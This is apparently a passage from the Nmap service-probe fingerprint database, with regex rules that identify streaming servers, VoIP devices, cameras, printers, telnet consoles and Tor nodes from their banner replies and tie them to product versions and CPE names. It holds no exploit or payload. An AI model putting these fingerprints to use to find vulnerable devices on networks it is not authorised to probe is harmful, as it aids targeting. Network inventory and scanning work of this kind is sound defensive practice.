build $2/ i/$3/ o/Mac OS X/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:apple:mac_os_x/a +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+) \(Build/([\d.]+); Platform/MacOSX\)\r\n| p/Apple QuickTime Streaming Server/ v/$1 build $2/ o/Mac OS X/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:apple:mac_os_x/a +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/v([\d.]+)\r\nCseq: \r\nConnection: Close\r\n\r\n| p/Apple QuickTime Streaming Server/ v/$1/ cpe:/a:apple:quicktime_streaming_server:$1/ + +match rtsp m|^RTSP/1\.0 505 Protocol Version Not Supported\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1/a cpe:/o:microsoft:windows/a +match rtsp m|^RTSP/1\.0 505 Vers\xc3\xa3o do Protocolo sem Suporte\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ i/Portuguese/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1:::pt/ cpe:/o:microsoft:windows/a +match rtsp m|^RTSP/1\.0 505 Vers\xc3\xa3o de protocolo n\xc3\xa3o suportada\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ i/Portuguese/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1:::pt/ cpe:/o:microsoft:windows/a +match rtsp m|^RTSP/1\.0 505 Versi\xc3\xb3n del protocolo no compatible\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ i/Spanish/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1:::es/ cpe:/o:microsoft:windows/a + +match rtsp m|^RTSP/1\.0 505 RTSP Version not supported\r\nCseq: \d+\r\nServer: fbxrtspd/([\d.]+) Freebox minimal RTSP server\r\n\r\n| p/Freebox minimal rtspd/ v/$1/ d/media device/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nCseq: \d+\r\nServer: fbxrtspd/([\w._-]+) Freebox RTSP server\r\n| p/Freebox rtspd/ v/$1/ d/media device/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nDate: .*\r\nAllow: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, STATS\r\n\r\n| p/MediaPortal TV-Server rtspd/ d/media device/ +match rtsp m|^HTTP/1\.0 401 Unauthorized\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nWWW-Authenticate: Basic realm=\"server\r\nContent-Length: 166\r\n| p/Avtech MPEG4 DVR control rtspd/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nDate: .*\r\nallow: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN, SET_PARAMETER\r\n\r\n$| p/ACTi E32 webcam rtspd/ d/webcam/ cpe:/h:acti:e32/ +match rtsp m|^HTTP/1\.0 503 Service Unavailable\r\nServer: GStreamer RTSP Server\r\nConnection: close\r\nCache-Control: no-store\r\nPragma: no-cache\r\nDate: .*\r\n\r\n$| p/GStreamer rtspd/ +# Example i/Win32; Windows NT 6.1/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: Microsoft Application Virtualization Server/([\w._-]+) \[([^]]+)\]\r\nDate: .*\r\n\r\n| p/Microsoft Application Virtualization Server rtspd/ v/$1/ i/$2/ o/Windows/ cpe:/o:microsoft:windows/a +match rtsp m|^RTSP/1\.0 405 Method Not Allowed\r\nServer: Dahua Rtsp Server\r\nContent-Length: 0\r\nCSeq: 0\r\n\r\n| p/Dahua IP camera rtspd/ d/webcam/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nSERVER: HDHomeRun/1\.0\r\nCSeq: 0\r\n\r\n| p/SiliconDust HDHomeRun set top box rtspd/ d/media device/ cpe:/h:silicondust:hdhomerun/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nContent-length: 0\r\n\r\n| p/Weatherbug camera rtspd/ d/webcam/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nCSeq: 1\r\nServer: Hipcam RealServer/V([\d.]+)\r\n\r\nRTSP/1\.0 400 Bad Request\r\n| p/Hipcam IP camera rtspd/ v/$1/ d/webcam/ +match rtsp m|^RTSP/1\.0 505 RTSP Version Not Supported\r\nServer: HIP([\d.]+)\r\n\r\n| p/2N Helios IP intercom rtspd/ v/$1/ cpe:/h:2n:helios_ip/ +match rtsp m|^RTSP/1\.0 505 RTSP Version Not Supported\r\nConnection: Keep-Alive\r\n\r\n$| p/Panasonic AW-HE50 camera rtspd/ d/webcam/ cpe:/h:panasonic:aw-he50/ +match rtsp m|^HTTP/1\.1 405 Method Not Allowed\r\nDate: .*\r\n\r\n\r\n$| p/DoorBird video doorbell rtspd/ d/webcam/ +match rtsp m|^HTTP/1\.1 200 OK\r\nContent-Type: application/x-rtsp-tunnelled\r\nServer: H264DVR ([\d.]+)\r\nConnection: close\r\nCache-Control: private\r\n\r\n| p/H264DVR rtspd/ v/$1/ d/storage-misc/ +match rtsp m|^RTSP/1\.0 505 RTSP Version Not Supported\r\nServer: ALi feng/([\w._-]+)\r\nDate: Week \d+, .* GMT\r\n\r\n| p/feng rtspd/ v/$1/ cpe:/a:lscube:feng:$1/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nCSeq: 0\r\nServer: Hipcam RealServer/V([\d.]+)\r\n\r\n| p/Hipcam RealServer rtspd/ v/$1/ d/webcam/ +# draft-gentric-avt-rtsp-http-00 +softmatch rtsp m|^HTTP/1\.[01] \d\d\d(?:[^\r\n]*\r\n(?!\r\n))*?Content-Type: application/x-rtsp-tunnelled|s + +match sassafras m|^/0 0 ([-\w_.]+)\r\n/0 0 HUH\r\n| p/Sassafras Key Server/ h/$1/ + +match seti-proxy m|^HTTP/1\.0 200 OK\r\nServer: SetiQueue/(\d+)\r\n| p/SetiQueue SETI@Home proxy/ v/$1/ +match shell m|^\x01INTERnet ACP Error Status = %SYSTEM-F-TOOMUCHDATA\r\n\0$| p/OpenVMS shelld/ o/OpenVMS/ cpe:/o:hp:openvms/a + +# SHOUTcast Distributed Network Audio: www.shoutcast.com +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/posix\(linux x[86][64]\) v([\w._-]+)
          \r\n.*icy-name:([^\r\n]*)\r\n.*icy-genre:([^\r\n]*)\r\n.*icy-url:([^\r\n]*)\r\n.*icy-br:(\d+)\r\n|s p/SHOUTcast server/ v/$1/ i/stream name: $2; genre: $3; URL: $4; bitrate: $5/ o/Linux/ cpe:/a:shoutcast:dnas:$1/a cpe:/o:linux:linux_kernel/a + +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/Linux.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/win[36][24].v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/SolarisSparc.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Solaris/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:sun:sunos/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/FreeBSD.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/FreeBSD/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:freebsd:freebsd/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/posix.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/MacOS_X.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Mac OS X/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:apple:mac_os_x/a +match icy m|^ICY 401 Service Unavailable\r\n.*SHOUTcast Distributed Network Audio Server/UNIX OS-3 v([\d.]+)| p/SHOUTcast server/ v/$1/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ + +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/Linux.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/win[36][24].v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/SolarisSparc.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Solaris/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:sun:sunos/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/FreeBSD.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/FreeBSD/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:freebsd:freebsd/a +match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/posix.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ + +match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/Linux.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a +match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/win[36][24].v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a +match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/SolarisSparc.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Solaris/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:sun:sunos/a +match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/FreeBSD.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/FreeBSD/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:freebsd:freebsd/a +match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/posix.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ + +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/win[36][24] v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Name: $2/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/posix\(linux x[86][64]\) v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Name: $2/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/posix\(bsd\) v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Name: $2/ o/BSD/ cpe:/a:shoutcast:dnas:$1/ +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/armv6\(rpi\) v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Raspberry Pi; Name: $2/ cpe:/a:shoutcast:dnas:$1/ + +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/win[36][24] v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/posix\(linux x[86][64]\) v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/posix\(bsd\) v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ o/BSD/ cpe:/a:shoutcast:dnas:$1/ +match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/armv6\(rpi\) v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Raspberry Pi/ cpe:/a:shoutcast:dnas:$1/ + +match icy m|^HTTP/1\.0 200 OK\r\nContent-Type: audio/mpeg\r\nicy-br:([\d.]+)\r\n.*icy-name:([^\r\n]+)\r\n(?:[^\r\n]+\r\n)*?Server: Icecast ([\d.]+)\r\n\r\n|s p/Icecast streaming media server/ v/$3/ i/Name $2; Bitrate $1/ cpe:/a:xiph:icecast:$3/ +match icy m|^HTTP/1\.0 200 OK\r\nContent-Type: audio/mpeg\r\nicy-br:([\d.]+)\r\n(?:[^\r\n]+\r\n)*?Server: Icecast ([\d.]+)\r\n|s p/Icecast streaming media server/ v/$2/ i/Bitrate $1/ cpe:/a:xiph:icecast:$2/ + +match shoutcast m|^invalid password\r\n$| p/SHOUTcast server/ cpe:/a:shoutcast:dnas/a + +match shoutirc m|^HTTP/1\.0 200 OK\r\nConnection: close\r\n\r\n

          ShoutIRC Bot ([\w._-]+)

          This is not a web server port, it is for use only by clients supporting the Remote Protocol!| p/ShoutIRC Bot/ v/$1/ + +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box Fon WLAN ([\d.]+) ([^\r\n]+)\r\n| p/AVM FRITZ!Box WLAN $1/ v/$2/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box Fon (\w+) \(UI\) ([^\r\n]+)\r\n| p/AVM FRITZ!Box $1/ v/$2/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box Fon ([^\r\n]+)\r\n|s p/AVM FRITZ!Box/ v/$1/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box WLAN ([\d.]+) ([^\r\n]+)\r\n| p/AVM FRITZ!Box WLAN $1/ v/$2/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Fon ([\w_-]+) ([^\r\n]+)\r\n| p/AVM FRITZ!Fon $1/ v/$2/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: FRITZ!OS\r\nContent-Length: 0\r\n\r\n| p/AVM FRITZ!OS SIP/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM Speedport (W \w+) ([^\r\n]+)\r\n| p/Speedport $1/ v/$2/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM Sinus (W \w+) ([^\r\n]+)\r\n| p/AVM Sinus $1/ v/$2/ d/VoIP adapter/ +match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: Speedport (W \w+) ([^\r\n]+)\r\n| p/T-Com Speedport $1/ v/$2/ d/VoIP adapter/ + +match slimp3 m|^GET %2[Ff] HTTP%2[Ff]1\.0\n$| p/SliMP3 MP3 player/ i|http://www.slimdevices.com| + +match soap m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"gSOAP_Web_Service\",.*Server: gSOAP/([\d.]+)\r\n.*ClientHTTP Error: 401 Unauthorized|s p/gSOAP/ v/$1/ i/Sagem F@st 3464 WAP soap/ d/WAP/ cpe:/a:genivia:gsoap:$1/ +match soap m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"realtek\.com\.tw\", qop=\"auth\", nonce=\"[0-9a-f]+\", opaque=\"[0-9a-f]+\"\r\nServer: gSOAP/([\w._-]+)\r\n| p/gSOAP/ v/$1/ cpe:/a:genivia:gsoap:$1/ +match soap m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: gSOAP/([\d.]+)\r\n|s p/gSOAP/ v/$1/ cpe:/a:genivia:gsoap:$1/ +match soap m|^HTTP/1\.1 200 OK\r\nServer: SCS\r\nContent-Type: text/html; charset=utf-8\r\n.*

          ServerView Remote Connector - Provider V([\w._-]+)

          |s p/Fujitsu ServerView Remote Connector soap/ v/$1/ cpe:/a:fujitsu:serverview_operations_manager:$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: SCS\r\nContent-Type: text/html; charset=utf-8\r\n.*

          ServerView Remote Connector Service V([\w._-]+)

          |s p/Fujitsu ServerView Remote Connector soap/ v/$1/ cpe:/a:fujitsu:serverview_operations_manager:$1/ +match soap m|^HTTP/1\.0 500 Internal Server Error\r\nServer: gSOAP/([\w._-]+)\r\n.* xmlns:gmmiws=\"https://([\w._-]+):\d+/glsinternal\.wsdl\" .*HTTP GET method not implemented|s p/gSOAP/ v/$1/ i/Good Messaging Server gddomsyncsrv/ h/$2/ cpe:/a:genivia:gsoap:$1/ +match soap m|^HTTP/1\.0 500 Internal Server Error\r\nServer: gSOAP/([\w._-]+)\r\n.* xmlns:pushws=\"https://([\w._-]+):\d+/pushws\">.*HTTP GET method not implemented|s p/gSOAP/ v/$1/ i/Good Messaging Server gdpushproc/ h/$2/ cpe:/a:genivia:gsoap:$1/ +match soap m|^HTTP/1\.1 405 Method Not Allowed\r\nDate:\d\d\d\d-\d\d-\d\dT\d\d:\d\d:\d\d\r\nContent-Type: application/soap\+xml; charset=\"utf-8\"\r\n\r\n$| p/Dell 1130n printer soap/ d/printer/ cpe:/h:dell:1130n/ +match soap m|^HTTP/1\.1 200 OK\r\nContent-Type: text/xml; charset=utf-8: \r\nConnection: close\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\" standalone=\"yes\"\?>.*Xtreme N GIGABIT Router(DIR-655) \w+([^<]+)|s p/D-Link $1 soap/ v/$2/ d/WAP/ cpe:/h:dlink:$1/ +match soap m|^HTTP/1\.1 200 OK\r\nContent-Type: text/xml; charset=utf-8\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n<\?xml version=\"1\.0\" encoding=\"utf-8\"\?>.*(SMC\w+)\nV([\w._-]+)|s p/SMC $1 Barricade WAP soap/ v/$2/ d/WAP/ cpe:/h:smc:$1:$2/ +match soap m|^HTTP/1\.1 \d\d\d .*\r\nServer: gSOAP\r\n| p/gSOAP/ cpe:/a:genivia:gsoap/ + +match smtp m|^220 ([\w._-]+)\r\n500 5\.5\.1 Unrecognized command\r\n| p/SoftStack Free SMTP Server/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/ +match smtp m|^220[ -]([\w._-]+) ESMTP\r.*\n521 5\.7\.0 Error: I can break rules, too\. Goodbye\.\r\n|s p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a + +# spamd 2.20-1woody +match spamassassin m|^SPAMD/1\.0 76 Bad header line: GET / HTTP/1\.0\r\r?\n| p/SpamAssassin spamd/ cpe:/a:apache:spamassassin/ + +# TLS 1.0 Alert (0x21), Fatal (0x02), Unexpected message (0x0a) +match ssl m|^\x15\x03\x01\0\x02\x02\x0a$| p/TLS/ v/1.0/ + +match http m|^HTTP/1\.1 405 Method Not Allowed\r\nDate:0000-01-01T18:54:43\r\nContent-Type: application/soap\+xml; charset=\"utf-8\"\r\n\r\n$| p/Samsung CLX-3175FW printer SOAP over HTTP/ d/printer/ cpe:/h:samsung:clx-3175fw/a + +match speech m|^ER\nLP\n#\nft_StUfF_keyOK\nER\n$| p/Festival Speech Synthesis System/ + +match sphinx-search m|^\x01\0\0\0\0\x01\0\0\0\0\0 \0\0\0\x1cunknown command \(code=\d+\)| p/Sphinx Search daemon/ + +# No idea if this is general enough +match sopcast m|^HTTP/1\.0 200 OK\r\n\r\n0&\xb2u\x8ef\xcf\x11\xa6\xd9\0| p/SopCast P2P/ + +match syncplay-json m|^\{"Error": \{"message": "Not a json encoded string GET / HTTP/1\.0"\}\}\r\n| p/Syncplay JSON server/ cpe:/a:syncplay:syncplay/ + +match tcpmux m|^-Service not available\r\n$| + +match telnet m|^\xff\xfb\x01\xff\xfe\"\n\r\tNetDSL Copyright by ARESCOM 2003\n\r\n\r\n\rUsername:GET / HTTP/1\.0\r\n\n\rPassword:\r\n\n\rUsername:| p/ARESCOM NetDSL 1000 router/ d/router/ +match telnet m|^\xff\xfb\x03\xff\xfb\x01\xff\xfbi\r\n\tWelcome to Magicunix's TCP Server\.\r\n\r\n\r\nLogin: P/1\.0\r\nPassword: \r\nLogin incorrect\r\nLogin: | p/MagicUnix telnetd/ +match telnet m|^\xff\xfb\x03\xff\xfb\x01\r\n\r\n\x07HP ([\w+]+) AdvanceStack 10BT Switching Hub Management Module\r\n| p/HP $1 switch telnetd/ d/switch/ cpe:/h:hp:$1/a +match telnet m|^\xff\xfb\x01\r\n-> GET / HTTP/1\.0\r\nGET / HTTP/1\.0\r\nundefined symbol: GET\r\n-> \r\n-> | p/Konica Minolta Magicolor 2300 DL printer telnetd/ d/printer/ +match telnet m|^\xff\xfe\x01Login to server\. \r\nUsername: ET / HTTP/1\.0\r\nPassword: \r\nLogin to server\. \r\nUsername:| p/EFCMService telnetd/ o/Windows/ cpe:/o:microsoft:windows/a +match telnet m|^\xff\xfc\"\xff\xfb\x03\xff\xfb\x01\r\n\r\nWelcome to C A N O P Y CMM Micro\.\r\n\r\nPress Enter to Continue\.\.\.\r\n\r\nLogin: \r\nPassword: | p/Motorola Canopy cluster management module telnetd/ o/eCos/ cpe:/o:ecos:ecos/ +match telnet m|^\xff\xfb\x01\xff\xfb\x03telnet@CER(\w+)>GET / HTTP/1\.0\r\nInvalid input -> GET / HTTP/1\.0\r\nType \? for a list\r\n| p/NetIron CER $1 switch telnetd/ d/switch/ +match telnet m|^BAD_COMMAND\n| p/Lotus Domino Console/ cpe:/a:ibm:lotus_domino/ +match telnet m|^\xff\xfb\x01\xff\xfb\x03$| p/Pocket CMD telnetd/ +match telnet m|^\xff\xfe\x01\r\n\r\n\+============================================================================\+\r\n\x7c \[ Rack Monitor Configuration Utility Main Menu \] \x7c\r\n\+============================================================================\+\r\n\r\nEnter Password: | p/Eaton Powerware Environmental Rack Monitor telnetd/ d/power-misc/ +match telnet m|^\xff\xfb\x01\r\nMGI Login: GET / HTTP/1\.0\r\n\r\nPassword: \r\nLogin incorrect\r\n\r\nMGI Login: | p/Samsung PBX telnetd/ d/PBX/ +match telnet m|^\xff\xfb\0\*\*\*\*\*\*\*\*\*\*\*\*\*\*\r\n\r\nD-Link Access Point login: | p/D-Link DWL-3200AP WAP telnetd/ d/WAP/ cpe:/h:dlink:dwl-3200ap/ +match telnet m|^\r\n\xff\xfb\x01\xff\xfb\x03\r\nUser:GET / HTTP/1\.0\r\nPassword:\r\nUser:| p/Dell OpenManage telnetd/ cpe:/a:dell:openmanage_baseboard_management_controller_utilities/ +match telnet m|^\n\rError 0xf802: Command not recognized\.\r\n| p/Quatech Airborne CLI server/ d/bridge/ +match telnet m|^Please enter password:\r\nPassword incorrect, please enter password:\r\nPassword incorrect, please enter password:\r\n| p/7 Days to Die game Telnet config/ cpe:/a:the_fun_pimps:7_days_to_die/ +# Probably BusyBox +match telnet m|^\xff\xfd\x01\xff\xfd\x1f\xff\xfb\x01\xff\xfb\x03\r\r\nGET / HTTP/1\.0\r\n\r\nSICUNET login: | p/Sicunet access control system telnetd/ d/security-misc/ + +# https://www.reddit.com/r/telnet/comments/4i3w20/found_vizio_m55c3_telnet_access/ +match textui m|^cannot find method GET\n\n$| p/Vizio television textui/ d/media device/ + +# The Onion Router +match tor-socks m|^HTTP/1\.0 501 Tor is not an HTTP Proxy\r\n| p/Tor SOCKS proxy/ cpe:/a:torproject:tor/ +match tor-info m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Content-Encoding: identity\r\n.*signed-directory\npublished .*\nrecommended-software|s p/Tor nodes info httpd/ cpe:/a:torproject:tor/ +match tor-info m|^HTTP/1\.0 503 Directory busy, try again later\r\n\r\n$| p/Tor nodes info httpd/ cpe:/a:torproject:tor/ +match tor-info m|^HTTP/1\.0 404 Not found\r\nDate: \w\w\w, \d\d? \w\w\w \d\d\d\d \d\d:\d\d:\d\d GMT\r\n\r\n$| p/Tor nodes info httpd/ cpe:/a:torproject:tor/ + +softmatch uptime-agent m|ERR - Command 'GET' not found\n$| p/Idera Uptime Infrastructure Monitor/ cpe:/a:idera:uptime_infrastructure_monitor/ + +match utsessiond m|^ERR/InvalidCommand\n$| p/Sun Ray utsessiond/ cpe:/a:sun:ray_server_software/ +match utsvc m|^protocolErrorInf error=Missing\\040hw\\040string\\040from\\040:\\040null\.\\040Check\\040hardware state=disconnected\n| p/Sun Ray utsvcd/ cpe:/a:sun:ray_server_software/ +match utsvc m|^protocolErrorInf error=invalid\\040command\\040or\\040parameter state=disconnected\n| p/Sun Ray utsvcd/ cpe:/a:sun:ray_server_software/ + +match upnp m|^HTTP/1\.1 403 Forbidden\r\n.*SERVER: LG-BDP DLNADOC/([\w._-]+)\r\n| p/LG BP730 Blu-ray player upnp/ i/DLNADOC $1/ d/media device/ cpe:/h:lg:bp730/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: (UPnP/[\d.]+ DLNADOC/[\d.]+) Platinum/([\d.]+)\r\n\r\n|s p/Platinum UPnP/ v/$2/ i/$1/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux-amd64-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Linux $1; UPnP $2/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux-([\w_.-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Linux $1; UPnP $2/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_XP-([\w_.-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows XP $1; UPnP $2/ d/media device/ o/Windows XP/ cpe:/o:microsoft:windows_xp:$1/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_Vista-x86-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows Vista $1; UPnP $2/ d/media device/ o/Windows Vista/ cpe:/o:microsoft:windows_vista:$1::x32/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_Vista-x86_64-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows Vista $1; UPnP $2/ d/media device/ o/Windows Vista/ cpe:/o:microsoft:windows_vista:$1::x64/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_7-x86-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows 7 $1; UPnP $2/ d/media device/ o/Windows 7/ cpe:/o:microsoft:windows_7:$1::x32/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_7-x86_64-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows 7 $1; UPnP $2/ d/media device/ o/Windows 7/ cpe:/o:microsoft:windows_7:$1::x64/ +match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Mac_OS_X-x86_64-([\w_.-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Mac OS X $1; UPnP $2/ d/media device/ o/Mac OS X/ 